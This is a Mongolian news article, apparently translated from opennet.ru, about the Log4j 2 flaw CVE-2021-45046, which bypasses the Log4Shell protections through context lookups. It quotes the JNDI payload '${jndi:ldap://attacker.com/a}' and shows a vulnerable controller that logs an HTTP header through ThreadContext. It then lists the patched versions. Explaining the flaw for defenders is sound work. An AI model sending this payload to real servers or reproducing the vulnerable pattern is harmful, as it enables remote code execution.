Нэмэлт хамгаалалтыг тойрч гарах боломжийг олгодог Log4j 2 дээрх шинэ халдлага

Log4j 2 номын санд (CVE-2021-45046) JNDI орлуулалтыг хэрэгжүүлэх явцад өөр нэг эмзэг байдал илэрсэн бөгөөд энэ нь 2.15 хувилбарт засвар оруулсан ч хамгаалалтад "log4j2.noFormatMsgLookup" тохиргоог ашигласнаас үл хамааран тохиолддог. Асуудал нь үндсэндээ "noFormatMsgLookup" туг ашиглан хамгаалагдсан Log4j 2-ын хуучин хувилбаруудад аюултай бөгөөд энэ нь өмнөх эмзэг байдлын (Log4Shell, CVE-2021-44228) хамгаалалтыг тойрч гарах боломжийг олгодог бөгөөд энэ нь танд өөрийн кодыг дээр ажиллуулах боломжийг олгодог. сервер. 2.15 хувилбарын хэрэглэгчдийн хувьд ашиглах боломжтой нөөц шавхагдсаны улмаас програмыг сүйрүүлэх нөхцөлийг бий болгохоор хязгаарлагддаг.

Энэ эмзэг байдал нь зөвхөн ${ctx:loginId} зэрэг контекст хайлт эсвэл %X, %mdc, %MDC гэх мэт Thread контекст газрын зураглалыг бүртгэлд ашигладаг системүүдэд тохиолддог. Үйл ажиллагаа нь бүртгэлд гаралтыг форматлах дүрмийг тодорхойлсон программ дахь контекст асуулга эсвэл MDC загваруудыг ашиглах үед JNDI орлуулалт агуулсан өгөгдлийг бүртгэлд гаргах нөхцлийг бүрдүүлэхэд чиглэдэг.

LunaSec-ийн судлаачид Log4j-ийн 2.15-аас бага хувилбаруудын хувьд энэхүү эмзэг байдлыг гадны өгөгдөл орж ирдэг лог руу гаргахдаа ThreadContext илэрхийлэл ашигласан тохиолдолд код гүйцэтгэхэд хүргэдэг Log4Shell халдлагын шинэ вектор болгон ашиглаж болохыг тэмдэглэжээ. " noMsgFormatLookups" эсвэл "%m{nolookups}" загварыг хамгаалахын тулд оруулсан.

Нэмэлт хамгаалалтыг тойрч гарах боломжийг олгодог Log4j 2 дээрх шинэ халдлага

Хамгаалалтын тойруулалт нь "${jndi:ldap://attacker.com/a}" гэсэн шууд орлуулалтын оронд энэ илэрхийлэл нь гаралтыг форматлах дүрэмд ашигласан завсрын хувьсагчийн утгаар орлуулж байгаа явдал юм. бүртгэл. Жишээлбэл, лог руу гаргахдаа ${ctx:apiversion} контекст асуулгыг ашигладаг бол "${jndi:ldap://attacker.com/a}" өгөгдлийг орлуулах замаар халдлага хийж болно. apiversion хувьсагчид бичигдсэн утга. Эмзэг кодын жишээ: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} -5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP толгойн утгыг ThreadContext ThreadContext.put("apiversion"-д дамжуулсан. , apiVersion); // Лог руу гаргах үед apiversion-ийн гадаад утгыг орлуулах ${ctx:apiversion} logger.info("API хувилбарын хүсэлтийг хүлээн авсан"); "Сайн уу, дэлхий!" буцах; }

Log4j 2.15-д энэ эмзэг байдлыг ашиглан ThreadContext руу утгыг дамжуулахдаа DoS халдлага хийх боломжтой бөгөөд энэ нь гаралтын форматын хэв маягийг давтахад хүргэдэг.

Нэмэлт хамгаалалтыг тойрч гарах боломжийг олгодог Log4j 2 дээрх шинэ халдлага

Эмзэг байдлыг хаахын тулд 2.16 ба 2.12.2 шинэчлэлтүүдийг нийтэлсэн. Log4j 2.16 салбар дээр 2.15 хувилбарт хэрэгжсэн засварууд болон JNDI LDAP асуулгыг "localhost"-д холбохоос гадна JNDI функцийг анхдагч байдлаар бүрэн идэвхгүй болгосон бөгөөд мессежийг орлуулах загваруудын дэмжлэгийг хассан. Аюулгүй байдлын шийдлийн хувьд JndiLookup ангийг ангийн замаас хасахыг санал болгож байна (жишээ нь "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

Та түгээлтийн (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) болон Java платформ үйлдвэрлэгчид (GitHub, Docker, Oracle, vmWare, Broadcom болон Amazon / AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure гэх мэт).

Эх сурвалж: opennet.ru

сэтгэгдэл нэмэх